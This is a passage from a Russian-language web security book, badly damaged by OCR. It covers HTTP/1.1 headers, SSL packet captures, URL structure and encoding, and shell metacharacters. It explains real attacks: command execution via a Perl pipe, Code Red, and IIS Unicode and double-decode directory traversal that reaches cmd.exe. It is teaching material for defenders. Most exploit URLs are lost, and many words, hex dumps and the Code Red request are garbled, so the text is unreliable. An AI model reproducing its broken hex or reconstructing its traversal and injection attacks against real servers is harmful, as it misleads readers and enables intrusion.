Как в запросе клиента, так и в ответе сервера содержатся поля заголовка, предос
тавляющие некоторую дополнительную информацию. При необходимости сервер и
клиент выполняют анализ этих полей. В табл. 4.5 приведено описание новых полей
заголовка, появившихся в протоколе
Таблица 4.5. Добавления НТТР/1.1 к определениям полей заголовка
Поле заголовка Описание
Cache Control Определяет директивы, которые должны использоваться всеми механизмами кэши
рования в последовательности запросов/ответов
Connection
Позволяет отправителю задать параметры конкретного соединения
Etag
Позволяет получить текущее значение дескриптора entity
Trailer
Позволяет включить в конец сообщения список заголовков
Позволяет получить информацию обо всех преобразованиях тела сообщения, кото
Encoding
были выполнены для его передачи
Upgrade
Позволяет клиенту указать, какие дополнительные заголовки им поддерживаются
Via
Используется промежуточными шлюзами и proxy серверами для определения того,
какие протоколы применяются при передаче сообщения между сегментами маршру
та. Как и в ходе отслеживания маршрутов при обеспечении безопасности, поле via
позволяет определить, через какие proxy серверы проходит сообщение в процессе
его доставки на целевой сервер
Warning
Используется для получения дополнительной информации о статусе сообщения
(HTTP поверх SSL)
Это протокол, используемый для шифрования трафика HTTP. При этом для шиф
рования всего сообщения используется протокол SSL. Существует множество версий
SSL и аналогичных протоколов (Transport Layer Security --- TLS, RFC 2246), в том чис
ле
SSLv2 и
Кроме того, ситуацию усложняет еще и то, что в различных
версиях SSL могут использоваться разные стандарты шифрования. Например, при ис
пользовании протокола SSLv3 можно выбрать один из существующих алгоритмов
шифрования, начиная с DES и заканчивая (RC2 и RC4).
Проследить за практическим использованием протокола SSL проще всего с помо
щью сетевого анализатора пакетов. С помощью утилиты Snort (http://www.snort.org)
можно просмотреть весь трафик, передаваемый через TCP порт 80.
04/14 22:43:39.781452 192.168.0.5:80 > 192.168.0.3:2590
TCP
TOS:OxO
DF
Seq: Ox22AA9B72 Ack: OxFDC79BB8 Win: Ox445F
20
0x0000:0006 3004ОС002078OD 4C08004500
X.
.L.
.E.
0x0010:01584715400080063132COA80005COA8
0x0020:00030050OA 22AA9B72FDC79ВВ85018
P.
0x0030:445F339A0000485454502F312E312032 D
2
114
Часть I. Будни электронной коммерции
0x0040:3030204F4ВODОА44 7465ЗА204D6F6Е 00
0x0050:2С203135204170722032303032203036 ,15Apr2002Об
0x0060:ЗА3131ЗА353320474D54ODОА53657276 :11:53
0x0070:6572ЗА204170616368652F312Е332Е31 er: Apache/1.3.1
0x0080:32202857696Е333229204170616368£5 2(Win32)Apache
0x0090:4А536572762F312Е31206D6F645F7373
mod ss
OxOAOO:6C2F322E 2E34204F70656E53534C2F
OpenSSL/
OxOOBO:302E392E3561206D6F645F7065726C2F
OxOOCO:312E3232ODOA4C6173742D4D6F646966
OxOODO:696564ЗА204D6F6E2C20303820417072
08
OxOOEO:2032303032203031ЗА3334ЗА35352047 200201:34:55G
OxOOFO:4D54ODOA45546167ЗА2022302D383462
0x0100:2D336362306633626622ODOA41636365
.Acce
0x0110:70742D52616E676573ЗА206279 746573 pt Ranges: bytes
0x0120:ODOA436F6E74656E742D4C656E 67 74 68
0x0130: ЗА 20 32 31 32 33 ODOA436F6E6E65 74 69 :
0x0140:6F6EЗА20636C6F7365ODOA436F 6E7465 on:
0x0150:6E742D54797065ЗА2074657874 2F6874 nt Type: text/ht
0x0160: 6D 6C OD OA OD
A
В пакете,
сервером, содержатся результаты обработки запроса HEAD.
Вот как выглядит этот же пакет, зашифрованный с использованием SSL:
04/14 22:46:51.135042 192.168.0.5:443 > 192.168.0.3:2592
TCP
TOS:OxO 10:18212 IpLen:20
DF
Seq: 0x25992024 Ack:
0x4266 TcpLen: 20
0x0000:00065B3004ОС002078ODIF4C08004500
X..L..E.
0x0010:01534724400080063128COA80005COA8
0x0020:000301BBOA2025992D2400B641BA5018
0x0030:4266B9040000170300012646E432333E Bf
0x0040:IE195E9EFBOB7F554173099A97DED765
e
0x0050: FD00OBOB9F892AC24C283BADOAOAC9
0x0060:A98D5754AADB3D539EC43DOF24C8DB85
0x0070:B82C36874EID30A52CF23631CC485869
0x0080:3FA92A8A285743ED4F FF2AB2AF2ABF
0x0090:2354FOAB9D6F5D0721CFDF072E732D50
OxOOAO:BC188CEO22FA848017ЕЕ6698D9CB68ED
f.
.
.h.
OxOOBO:1876D2DEE6FA6FB7OB09AD246В8С97OE
o.
.
.
.$k.
.
.
,
OxOOCO:6F268B9F58EDFB53133E1C2073D3BEA2 oS..X..S.>. s.
.
.
OxOODO:8DClD22009F759El9FD9B2844958DB9F
Y
OxOOEO:B761ACE5A256CO3F6E7E67544EВЗ2ЕEl
OxOOFO:A8F86C87957B62BD6E5B70283C898ED4
0x0100:EDAB3CEO3E755BDFBC827C4FC8457C66
0x0110:FB73B829CC572DF25C66 OEBE4A3B42
0x0120:2F5F32IEE2DDFBCl84E907ОСDECDOB72
r
0x0130:91F53C616EFF66 D89В7СCB25597371
0x0140:B902331571B94B9DFCFFFOF2 52 54
0x0150:4221E4B3F75D77F36A164E1940A2BCD9
0x0160: C4
Теперь все данные
от любопытных глаз взломщика. Преимущество ис
пользования SSL очевидно: этот протокол позволяет зашифровать трафик между дву
мя узлами и таким образом существенно сузить возможности взломщика по доступу к
трафику конфиденциальных данных и их перехвату. Однако не стоит заблуждаться.
На самом деле SSL не обеспечивает полной безопасности. Все, на что он способен, ---
это защититься от средств прослушивания точно так же, как кодирование голоса при
звано обеспечить конфиденциальность при использовании радиотелефона. Однако
эффективность такой защиты вызывает большие сомнения, если вспомнить о про
граммах типа ssldump
которые позволяют расшифро
вать трафик, защищенный с использованием SSL.
Глава 4. Хакинг протоколов
и
Резюме
Основной трафик Web практически полностью базируется на протоколах HTTP и
Эти два протокола задействованы почти в 100% атак. Брандмауэры не способны
предотвратить эти нападения, и лишь несколько систем выявления вторжений позволя
ют их обнаружить. Все это объясняется тем, что хакерам прекрасно известно, как мани
пулировать этими протоколами и использовать их для достижения своих целей.
Часть I. Будни электронной коммерции
ГЛАВА 5
URL:
хакера
Лазерный меч --- это оружие Джедая. Он не такой громоздкий и не
управляемый, как бластер.
Оби Ван
"Звездные войны. Эпизод IV"
\
Введение
Среди бесчисленных приемов, используемых взломщиками, методы
в Web
по праву можно отнести к самой "элегантной" технологии (если подобный компли
мент можно считать уместным). Простота и изящность использования обычного бро
узера для реализации наиболее разрушительных атак достойны восхищения, а связан
ные с этим события, несомненно, заслуживают самого пристального внимания. Ино
гда методы хакинга в Web сложны для понимания, но зачастую тривиальны. Тем не
менее они способны привести к самым разрушительным последствиям. Известно ли
вам о том, что помещенные в нужном месте символы могут пробить зияющую ды
ру в безопасности вашего интерактивного приложения электронной коммерции?
Хакинг в Web во многом напоминает микрохирургическую операцию через не
большой разрез. Такая операция требует ювелирной точности и взвешенных, осто
рожных движений. "Прорезать" отверстие --- работа
и непростая, однако
далее необходим целый комплекс сложнейших внутренних манипуляций. Кроме
того, средства, которые потребуются хакеру для успешной реализации атаки на сис
тему электронной коммерции, также придется "протиснуть" через это маленькое от
верстие. На данный момент таким микроканалом является универсальный локатор
ресурсов URL (Uniform Resource Locator), также известный как универсальный иден
тификатор ресурсов (Uniform Resource Identifier). Иногда URL оказывается един
ственным механизмом взаимодействия с большими и сложными системами (так на
зываемыми многообещающими целями), расположенными по ту сторону чрезвычайно
брандмауэров.
В главе 2 обсуждались основы протокола HTTP и принципы его функционирова
ния. В этой главе основное внимание уделяется адресам URL. Вы узнаете, что собой
представляет URL, как его можно использовать для реализации атак, какие механиз
мы подвергаются опасности при его использовании и насколько серьезные последст
вия может вызвать его неправильное применение. Эти вопросы подробно рассматри
ваются на протяжении всей главы. В результате выяснится, что в подавляющем боль
шинстве случаев разработчики программного обеспечения для Web и группы
специалистов, работающих в области информационных технологий, недооценивают
опасность, связанную с применением URL.
Большинство современных
атак в Web выглядят достаточно изящно.
Обычно злоумышленник начинает с простых шагов, например связанных с изучением
внутренней структуры Web узла (см. главу 6). Каждый такой шаг позволяет хакеру
проникать все глубже и глубже в "недра" Web узла. Элегантность подобных атак свя
зана с тем, что для их реализации хакеру требуется всего лишь броузер Internet, по
скольку для большинства атак в качестве средства доставки разрушительного кода ис
пользуется URL.
В этой главе обсуждаются следующие основные вопросы:
• структура URL;
• кодирование URL;
• коды ASCII, представленные в формате Unicode и
формате;
• метасимволы и их влияние на приложение;
• формы HTML и передача параметров.
Подробное обсуждение спецификаций HTTP, HTML и URL не входит в задачи
данной книги. Однако здесь будут рассмотрены связанные с ними ключевые понятия,
особенно те из них, которые касаются обеспечения безопасности Web приложений.
Для тех, кто хочет глубже разобраться с принципами, положенными в основу URL и
HTTP, лучше всего воспользоваться соответствующими документами RFC. В RFC 1738
Часть I. Будни электронной коммерции
Л
приведены самые ранние предложения по спецификации URL, которые более точно
описаны в RFC 1808 и 2396. В документе RFC 1945, а чуть позже и в RFC 2068, со
держится описание протокола
Протокол
описан в RFC 2616.
Все эти документы можно найти по адресу:
Структура URL
Вообще говоря, URL --- это механизм, используемый для идентификации ресур
сов на
SSL или ftp сервере. URL также определяет протокол прикладного
уровня, который обеспечивает передачу запросов Web серверу. Общая структура
имеет следующий вид:
Каждый из этих компонентов описан в табл. 5.1.
Таблица Компоненты
Компонент Описание
Протокол Протокол прикладного уровня. Чаще всего адреса URL используются для получения ре
сурсов с Web серверов (серверов HTTP). Поэтому наиболее распространенным протоко
лом является Другими протоколами могут быть
и т.д., в зависимости от того, какой из них поддерживается броузером и сервером
Сервер
Имя DNS, имя
или IP адрес узла в сети, на котором содержится запрашиваемый
ресурс
Путь к каталогу, в котором содержится также имя запрашиваемого ресурса. Таким ре
сурсом может быть статический файл или приложение, которое используется для дина
мической генерации выходных данных
Параметры Если запрашиваемым ресурсом является приложение или программа, используемая для
динамической генерации содержимого, то при необходимости такому ресурсу можно пе
редать параметры. Иногда часть
в которой задаются параметры, называется стро
кой запроса (Query String)
На рис.
показаны три типа URL.
J
Протокол
Имя сервера
Путь к запрашиваемому файлу
Протокол IP адрес сервера Путь к запрашиваемому файлу
б
Путь к запускаемому Параметры, передаваемые
приложению
asp
В
Рис. 5.1. Примеры
Глава 5. URL: оружие хакера в Web
Адрес URL, приведенный на рис. 5.1, а, не требует объяснений. Файл
запрашивается по протоколу HTTP с сервера
В пространстве
этого Web узла файл monalisa.html содержится в каталоге /pictures/davinci. На
рис. б представлен пример URL, в котором вместо HTTP задан другой протокол.
В данном случае броузер должен открыть анонимное FTP соединение с сервером
ww w.blueballoon.com и загрузить с него файл img viewer.exe, содержащийся в каталоге
/pu b/. Поскольку в данной книге основное внимание уделяется Web приложениям и
связанным с ними протоколам, то обсуждаются только адреса URL, связанные с ис
пользованием протокола HTTP. Поэтому в оставшейся части книги термин URL бу
дет означать использование протокола HTTP. Адрес URL, показанный на рис. 5.1, в,
используется для запуска приложения
из каталога /order/. Этому приложению
передаются два параметра: item, в котором содержится значение АО О З , и
со зна
чением visa. Стоит отметить, что в данном случае используется не протокол
a
т.е. HTTP поверх SSL (см. главу 2).
Теперь познакомимся с механизмом передачи параметров в Web приложения
(см. рис.
в).
Психология Web хакера
Попробуем поставить себя на место хакера. Что же необходимо, чтобы быть хаке
ром? Коротко можно сказать так: взломщик обладает способностью экстраполиро
вать информацию и нестандартно мыслить. Умение читать между строк, делать
выводы из неочевидного и разгадывать внутреннюю механику функционирования
неизвестной системы --- вот основные составляющие хакерского мастерства.
Посмотрим глазами хакера на URL, представленный на рис.
в.
Понятно, что данный адрес URL используется для запуска приложения или про
граммы, которой передаются некоторые параметры, а в ответ динамически генери
руются данные. Что из этого URL можно выудить еще? На самом деле очень многое.
Исходя из имени этого ресурса
можно сделать первое предположение.
Расширение
наводит на мысль, что этот файл в действительности является
файлом ASP (Active Server Page). Файлы ASP практически всегда используются на
Web серверах Microsoft IIS. Следовательно, скорее всего, www.blueballoon.com --- это
сервер Windows
на котором запущен Web сервер IIS.
Внимательно проанализировав параметры, можно обнаружить несколько новых под
сказок. Первый параметр,
позволяет сделать предположение о том, что
приобретаемому товару присвоен собственный код, а его подробное описание долж
но храниться в базе данных. Как правило, самой популярной базой данных для Win
dows NT является какая либо из версий Microsoft SQL Server (полнофункциональный
SQL Server или SQL Desktop Engine) или база данных Microsoft Access. Если это не
большой Web узел, то на нем, скорее всего, используется Microsoft Access. Таким об
разом, вполне вероятно, что для получения дополнительной информации о товаре в
файле
генерируется SQL запрос к внутреннему серверу баз данных.
Второй параметр,
позволяет предположить, что для оплаты покупки ис
пользуется кредитная карточка, в данном случае Visa. Поэтому в файле
может содержаться также программный код, предназначенный для взаимодействия
с системой обработки платежей по кредитным карточкам. Возможно, именно по
этой причине для защиты используется протокол SSL.
Вопросы, связанные с получением информации об используемых внутренних тех
нологиях на основе структуры Web узла и адресов URL, более подробно рассмат
риваются в главе 6.
Часть I. Будни электронной коммерции
URL и передача параметров
В URL строка запроса (Query String) используется для передачи параметров при
ложению, которое будет запущено. При вызове прикладной программы процесс Web
сервера передает ей, во первых, переменные окружения, а во вторых, необходимые
параметры. Принципы взаимодействия Web приложений с Web серверами описаны в
спецификации CGI (Common Gateway Interface --- интерфейс
шлюза). В этой
спецификации указано, что приложения, запускаемые Web серверами, могут получать
содержимое строки запроса как через аргументы командной строки, так и через пере
менную окружения
Передачу параметров приложениям лучше всего продемонстрировать на примере.
Начнем с того, что создадим
на сервере Linux с IP адресом
В файле
содержится следующий код:
01:
02: set f
echo Content type: text/plain
04: echo
05: echo
of command line args:
06: echo command line args:
echo GATEWAY INTERFACE =
INTERFACE"
08: echo SERVER_PROTOCOL
09: echo
=
10: echo
=
11: echo
=
Сценарий выводит на экран число переданных ему аргументов командной строки,
фактические значения этих аргументов, а также несколько переменных окружения,
устанавливаемых Web сервером при запуске сценария.
Теперь укажем в броузере следующий адрес
В строке запроса содержится значение
После запуска
сценария будут получены следующие данные:
Number of command line a rgs: 5
command line args: Hello World, this is CGI
GATEWAY_INTERFACE = CGI/1.1
= HTTP/1.0
= GET
=
Содержимое строки запроса помещается
в переменную окружения
Кроме
Web сервер выполняет также декодирование строки запроса,
а затем передает полученные данные в качестве аргументов командной строки сцена
рию
Обратите внимание, что символы + Web сервер заменяет пробелами.
Теперь воспользуемся следующим URL:
После выполнения сценария в окне броузера будут отображены такие результаты:
Number of command line args: 0
command line args:
=
=
= GET
= /cgi bin/query.cgi
=
Глава 5. URL: оружие хакера в Web
На этот раз Web сервер не передал строку запроса в качестве аргумента командной
строки. Тем не менее строка запроса по прежнему содержится в переменной окруже
ния QUERY STRING. Разница состоит в том, что в данном примере строка запроса конст
руируется в соответствии со стандартом передачи параметров с помощью URL. В этом
стандарте определено, как в Web приложение можно передать несколько имен и зна
чений параметров. В общем случае для передачи параметров через строку запроса ис
пользуется следующий синтаксис:
/
Если в приложение передаются три параметра, то в строку запроса помещаются
три пары "имя параметра/значение", объединенные символом &. Затем приложение
извлекает переданные имена параметров и их значения.
Возможности передачи параметров в Web приложения не ограничиваются одним
лишь использованием строки запроса. Вспомните, что для формирования запросов на
получение ресурсов с Web сервера протокол HTTP предоставляет два метода: GET и
POST. Особенности каждого метода более подробно рассматриваются ниже в главе, при
обсуждении форм HTML.
Кодирование URL
Сам по себе адрес URL --- это алфавитно цифровая строка, в состав которой вхо
дят и некоторые другие символы. Для представления строки URL используется сле
дующий набор символов.
Символы
Значения
Алфавитно цифровые символы
A Z, a z, 0 9
Зарезервированные символы
=
Другие специальные символы
Большей частью строка
состоит из символов алфавита, цифр и зарезервирован
ных символов, имеющих
строки специальный смысл. В строке
могут исполь
зоваться и другие специальные символы, однако с ними не связывается определенный
смысл. Тем не менее эти символы могут иметь особое значение для Web сервера, которо
му передается такой
или для приложения, запускаемого с помощью Web сервера.
Значение некоторых специальных символов описано в табл. 5.2.
Таблица 5.2. Специальные символы и их значение внутри URL
Специальные Интерпретация
символы
?
Символ отделения строки запроса. Часть строки URL, расположенная справа от символа
?, --- это и есть строка запроса
&
Разделитель параметров. Используется для отделения пар параметров
в
строке запроса друг от друга
=
Отделяет имя параметра от его значения при передаче параметров с использованием
строки запроса
+
Этот символ преобразуется в пробел
:
Используется для отделения протокола от остальной части строки URL. Часть строки
от ее начала до символа : определяет протокол прикладного уровня, используе
мый в запросе
Часть I. Будни электронной коммерции
Окончание табл. 5.2
Специальные Интерпретация
символы
*
Используется для указания точки привязки внутри
Например, URL адреса
и http://www.acme art.com/
позволяют обратиться к двум различным элементам одной и той
же страницы ---
Используется для задания символов в
формате
6
Используется в
в котором указан протокол raailto:, для определения почтового
реса. Применяется также при передаче регистрационных данных пользователя при дос
тупе к
защищенному паролем, особенно с помощью протокола FTP
Используется для указания рабочего каталога пользователя в таких многопользователь
ских системах, как Unix. При этом URL имеет следующий вид:
Например, адрес http://www.cs.purdue.edu/~saumil/ задает подка
талог Web страниц пользователя
Метасимволы
В приложениях и сценариях метасимволы *, ;, | и ' имеют специальное значение.
Эти символы никак не влияют на сам URL, однако при их успешной передаче в при
ложение может полностью измениться смысл входных данных. Иногда это позволяет
создать "брешь" в подсистеме безопасности.
Многие метасимволы интерпретируются различными Web серверами по разному.
В табл. 5.3 описано, как метасимволы интерпретируются внутри приложений.
Таблица 5.3. Метасимволы и их значение
Метасимвол Интерпретация/использование
*
Является символом заполнителем или используется в качестве универсального симво
ла. В сценариях оболочки системы Unix этот символ расширяется до списка имен фай
лов, содержащихся в текущем каталоге
;
В зависимости от контекста может иметь различный смысл. Чаще всего символ ; исполь
зуется в качестве завершающего в исходном коде таких языков, как С или Perl. В других
ситуациях может использоваться для разделения команд, как в сценариях оболочки Bourne
и SQL запросах
|
Если этот символ успешно передать в приложение, обойдя механизм проверки, то можно
причинить немалый вред. Это один из самых "мощных" символов сценариев оболочки
Unix, уступающий только символу Символ конвейера позволяет объединить две команды
и перенаправить выходные данные одной команды на вход другой. Если в сценариях Perl
при открытии файла в качестве суффикса или префикса его имени используется символ
то данное имя файла интерпретируется как системная команда и выполняется оболочкой
операционной системы. После этого выходные данные, сгенерированные выполняемой
программой, записываются в файл
'
Используется для подстановки выходных данных команды и является наиболее мощным
символом при написании сценариев оболочки в Unix. Если команда оболочки Unix ограни
чена символами то ее выходные данные возвращаются в заданную переменную
адресат. Например, при использовании команды
в переменную files
будет помещен результат выполнения команды la
Глава 5. URL: оружие хакера в Web
Метасимволы и проверка входных данных
Единственной наиболее очевидной причиной существования более 90% всех изъя
нов Web приложений является недостаточная проверка корректности входных
данных. Идея контроля передаваемых в качестве параметров данных далеко не но
ва. В те времена, когда мы были студентами и писали программы на языке Fortran,
как правило, наш руководитель сам выполнял необходимую проверку, прежде чем
зачесть разработанную программу. Одна из таких программ должна была вычис
лять натуральный логарифм числа. Ни одно из творений студентов не позволило
получить правильный результат после ввода первого же значения нашим руково
дителем --- banana. Ведь программа ожидала на входе число! Передача программе
неожиданных данных приводила к ее сбою и получению дампа оперативной памя
ти. В те времена нас мало интересовала проверка входной информации. Запуск
процесса
за счет "размещения" метасимволов и команд Unix в форму Web
страницы --- это, пожалуй, квинтэссенция изысканных Web атак, которые оказа
лись возможными исключительно из за слабой проверки входных данных.
Использование в строке URL специальных
символов
В данный момент может возникнуть закономерный вопрос: "Что делать, если не
обходимо использовать символы & или + как обычные, не учитывая их специаль
ного назначения?" Например, допустим, что в строке запроса необходимо передать
два параметра ---
и shipping=snailmail. В этом случае URL будет
выглядеть следующим образом:
http:
Приведенный URL является неоднозначным, поскольку в строке запроса содер
жится три символа &. Скорее всего, Web сервер разделит подобную строку на три па
раметра вместо двух, а именно: book=pride,
и
Если символ & необходимо передать как часть значения параметра, то можно вос
пользоваться соглашениями, определенными в спецификации URL. Эти правила позво
ляют представлять зарезервированные и специальные символы в двухбайтовом
формате ASCII, добавив в качестве префикса символ как показано ниже.
Символы
значения
Все
символы
Управляющие символы
Восьмиразрядные ASCII символы верхнего регистра
Пробел
или +
Возврат каретки
Перевод строки
Символ & в десятичном представлении имеет код ASCII 38, а в
ном --- 26. Поэтому если его требуется включить в строку URL, то вместо него можно
использовать
значение Для приведенного примера URL будет
иметь следующий вид:
124
Часть I. Будни электронной коммерции
Стандарт кодирования Unicode
Хотя в большинстве случаев
ASCII кодирования вполне дос
таточно, его возможностей оказывается мало для представления наборов символов, в
состав которых входит более 256 символов. Самые современные операционные систе
мы и приложения поддерживают многобайтовое представление наборов символов
языков, отличных от английского. Кроме
ASCII кодов, Web
сервер IIS компании Microsoft поддерживает URL, в которых используются символы,
закодированные в формате UTF 8 (UCS Translation Format).
Универсальный набор символов (Universal Character Set --- UCS) определен в доку
менте ISO 10646 Международной организации по
Хотя этот набор
символов и поддерживается ISO, была образована отдельная группа (состоящая,
ным образом, из поставщиков программного обеспечения), основной задачей которой
является представление различных наборов символов в рамках одной унифицирован
ной схемы. Эта группа называется Консорциумом Unicode (http://www.unicode.org).
После составления стандартов обе группы решили разработать общую схему представ
ления, благодаря чему в настоящее время нет необходимости использовать отдельные
стандарты. Система кодирования UTF 8 определена в документах ISO 10646 1:2000 и
RFC 2279. В тех операционных системах, где используется схема кодирования ASCII,
обеспечивается простое преобразование символов
и представление многобай
товых символов Unicode в формате ASCII.
Атака на Web узел компании Acme Art, Inc.
Рассмотрим два URL, которыми воспользовался взломщик в процессе атаки на
узел
описанной в разделе "Случай из жизни", предваряющем
главу 1. Вот как они выглядят:
j
В URL хакер внимательно использовал метасимволы и правила кодирования. Пе
редаваемый параметр (значение которого содержится в
после строки раде=)
использовался в качестве имени файла функцией
сценария Perl
Для выполнения команд сценарием Perl злоумышленник разместил их между сим
волами конвейера В первом URL содержится три команды Unix, разделенные
символом перевода строки Имитируя нажатие клавиши <Enter> между коман
дами, на самом деле хакер выполнил их подряд, одну за другой. При использова
нии второго URL на экране взломщика появилось окно xterm. Обратите внимание,
что злоумышленник скрыл символ воспользовавшись его кодом В результа
те процесс xterm был запущен в фоновом режиме.
Не углубляясь в тонкости схемы кодирования
рассмотрим кодирование
Unicode в аспекте его использования в URL. Двухбайтовые символы Unicode кодиру
ются с использованием формата
и
значения
старшего и младшего байта соответственно. Для стандартных символов ASCII из диа
пазона от до
используется представление Unicode
Система кодирования Unicode и вирус Code Red
Сами по себе символы URL, закодированные с помощью Unicode, не отличаются
от обычных символов ASCII, представленных в
формате. Од
Глава 5. URL: оружие хакера в Web
нако схема
позволяет более компактно представить 16 разрядное слово,
чем два ASCII символа в
формате.
Создатели вируса червя Code Red, который по оценкам экспертов обошелся ком
паниям в $500 млн. и вызвал настоящий хаос на Web серверах IIS, воспользова
лись системой кодирования Unicode для вставки команд оболочки в запрос к обра
ботчику
Это позволило создать условия для переполнения буфера. Запрос
HTTP, генерируемый Code Red, выглядит следующим образом:
одпгшшшшпшшюодюютшшнш
Обратите внимание на то, как
закодировали команды с исполь
зованием 16 разрядной последовательности Unicode. Например, код
преоб
разуется к виду 0x90 0x90, что, в свою очередь, означает две пустые инструкции
в машинном коде х86.
Неправильное использование кода URL
Кодирование URL используется для того, чтобы в строке URL можно было приме
нять символы, отличные от алфавитно цифровых. Тем самым обеспечивается возмож
ность использования обычных алфавитно цифровых символов большинства клавиатур.
Применение в URL нестандартных методов кодирования символов делает определенные
Web серверы уязвимыми. Два наиболее серьезных изъяна Web серверов, о которых ста
ло известно в последнее время, связаны как раз с ошибками в декодировании URL.
Изъян Unicode
В октябре 2000 года стало известно о том, что серверы Microsoft IIS уязвимы к так
называемой "ошибке Unicode". Другими словами, некорректное кодирование символа /
в формате Unicode позволяло сформировать URL, с помощью которого можно было пе
редать управление за пределы папки Web документов и вызвать командную оболочку
из системного каталога Windows. Такой URL может иметь следующий вид:
На рис. 5.2 показано, что могло бы произойти, если бы такой URL был использо
ван в броузере для обращения к узлу
Проанализируем эту атаку подробнее. Код
--- это некорректное представле
ние символа / в формате Unicode. Получив такой URL, Web сервер интерпретирует
этот код Unicode как символ обратной косой черты. Это приводит к обходу серверных
средств фильтрации подобных событий, перемещению на два уровня вверх в иерархии
каталогов относительно папки /s cr ipts/ и запуску командной оболочки
Как правило, папка /scripts/ расположена в каталоге C:\inetpub.
В обычных условиях Web сервер никогда бы не позволил из URL обращаться к облас
ти файловой системы, расположенной за пределами каталога Web документов (в дан
ном случае
Однако в процессе проверки местоположения каталога Web
126
Часть I. Будни электронной коммерции
серверу не удается распознать представление символа / в формате Unicode. На серве
ре строка
преобразуется в строку . ./. . / , после чего происходит обраще
ние к ресурсу
В результате запускает
сякоманднаяоболочкаC:\winnt\system32\cmd.exe.
12/07/1999
12/07/1999
12/07/1999
12/07/1999
12/07/1999
10:30*
09:21р
10:30*
10:30*
10:30*
10:30*
6
в С»)
PRINTERS
5.2 Использование Unicode для выполнения команд
Каким же образом код
преобразуется в символ /? Для этого нужно разо
браться с тем, как сконструировать некорректное представление в формате Unicode.
Кодом ASCII символа / в
представлении является 2F, а в двоичном
формате --- 00101111. Стандарт кодирования Unicode (или, точнее, стандарт UTF 8)
обеспечивает представление более 256 символов, а следовательно, позволяет исполь
зовать для их кодирования более 8 бит. Корректное представление кода 2F в формате
UTF 8 по прежнему выглядит как 2F. Однако этот код можно представить и с ис
пользованием многобайтового представления
Символ / может быть пред
ставлен в
двух и трехбайтовом формате UTF 8 следующим образом.
Используется
1 байт
байта
3 байта
/ Двоичное
представление
00101111
11000000
10101111
11100000
10000000
10101111
Десятичное
представление
47
49327
14713007
представление
2F
СО AF
ЕО 80AF
Здесь символы х представляют битовую маску кодируемого символа (справа налево).
Таким образом, двухбайтовым представлением символа / в формате UTF 8 является
СО AF. В URL он представлен как два
символа:
Глава 5. оружие хакера в Web
127
В спецификации UTF 8 указано, что "модуль декодирования UTF 8 не должен
разрешать использование последовательностей UTF 8, длина которых больше, чем
необходимо для кодирования символа. Любая слишком длинная последовательность
UTF 8 может быть использована для достижения неблаговидных целей и обхода ме
ханизма обнаружения подстрок, предназначенного для поиска максимально короткой
последовательности UTF 8 из числа возможных". Разработчики сервера IIS упустили
из виду это требование. В результате данный изъян позволил тысячам хакеров запус
кать на серверах IIS произвольные команды.
Эта атака срабатывает также и при использовании трехбайтового кода UTF 8. Сле
дующий URL эквивалентен приведенному выше:
Для получения более подробной информации о проблемах кодирования в форма
тах Unicode и UTF 8 можно обратиться к
разделу FAQ по адресу:
Изъян двойного или избыточного
декодирования
Стоило компании Microsoft справиться с "ошибкой Unicode", как в мае 2001 года
был обнаружен еще один изъян, известный как "двойное декодирование" или
"избыточное
Во многом этот метод и связанные с его применением
последствия почти не отличаются от описанного выше. Для того чтобы воспользо
ваться этим недостатком, на сервер можно передать следующий
На рис. 5.3 показаны выходные данные, сгенерированные сервером IIS.
12/07/1999
06/26/2000
06/26/2000
06/26/2000
10:30*
10:30*
09:Zlp
10:30*
10:30*
10:30*
09:21р
09:21р
6 IE)
8
4S
ЮТ
5
S CLIENTS
VALUE
401,841 bytes
0
Рис. 5.З. Метод двойного декодирования для выполнения команд
128
Часть I. Будни электронной коммерции
В приведенном URL символ / заменен строкой
Если указанный URL
декодируется один раз, будет получен следующий результат:
=
= "2"
=
Если декодирование выполнить еще раз, будет получена следующая строка URL:
Строка
является далеко не единственной, с помощью которой можно
воспользоваться этим изъяном. Приведенные ниже строки позволяют достигнуть ана
логичного результата.
Закодированная комбинация
представление Символ ASCII
\/
/\
Существует и много других перестановок и комбинаций кодов. Поэтому отсутствие
или некорректное выполнение проверки входных данных является чрезвычайно серь
езной проблемой.
Подводя итоги, следует отметить, что ошибки в реализации механизма декодиро
вания URL представляют собой огромную угрозу для безопасности. То, о чем говори
лось выше, --- это всего лишь два из наиболее показательных примеров возможных
изъянов. Жертвой использования непредусмотренных комбинаций кодов символов в
URL могут оказаться и многие другие Web серверы. Чтобы избежать появления по
добных изъянов при реализации Web серверов, необходимо строго следовать специ
фикации HTTP консорциума W3C
Формы HTML
Практически во всех интерактивных Web приложениях используются формы HTML.
Можно с уверенностью сказать, что при использовании Internet с формами HTML при
ходится сталкиваться практически в каждом сеансе работы: при использовании меха
низма поиска, проверке электронной почты с использованием средств Web, проверке
состояния кредитной карточки, отправке поздравительного электронного сообщения и в
процессе выполнения многих других задач. Форма HTML --- это интерфейс, который
используется в приложении для взаимодействия с пользователем через Web броузер.
С формами HTML связано два ключевых аспекта: выполнение управленческих
функций броузером и обработка данных на сервере. При этом можно выделить не
сколько основных задач, выполняемых броузером. Первая --- корректное отображение
на экране элементов HTML формы, а вторая --- обеспечение для пользователя воз
можности ввода данных с применением этих элементов. После ввода данных пользо
ватель может отправить заполненную форму на сервер. При этом броузер должен
обеспечить, чтобы данные были корректно закодированы в URL, а затем передать
информацию соответствующему приложению.
После того как входные данные получены прикладной программой, они должны
быть разделены на отдельные параметры, а затем обработаны. При использовании бо
лее ранней спецификации CGI разработчик приложения должен самостоятельно оп
Глава 5. URL:
хакера Web
129
логику синтаксического анализа закодированных в URL данных и извлече
ния имен и значений входных параметров. В состав современных Web серверов вхо
дят встроенные процедуры автоматической обработки данных HTML форм, что суще
ственно упрощает задачу разработчиков Web приложений.
Однако, что касается
безопасности, то при разработке Web
приложений необходимо осторожно относиться ко входным данным, передаваемым
броузером. В конце главы приведен ряд практических советов, которыми следует
руководствоваться при обработке данных HTML форм. А сейчас рассмотрим не
сколько примеров того, как работают (или не работают) HTML формы с точки зре
ния обеспечения безопасности.
Анатомия формы HTML
Любую форму HTML можно идентифицировать по дескрипторам
(как отмечалось в главе 1). Все дескрипторы HTML, вложенные в дескрипторы
рассматриваются как часть этой формы. Среди других дескрипторов HTML дескрип
торы <INPUT> используются для представления входных полей формы.
позволяют
вводить данные в форму, которая отображается в броузере. На рис. 5.4 показаны эле
менты HTML, которые составляют форму HTML.
<INPUT
<INPUT
CGI для
пользователя
required"cgi lib.pl";
&ReadParse(*in);
print&PrintHeader,
УIlllllllllllll
www.acme art.com
uses the latest in security
All your transactions are secure
via
your registration
and
to login.
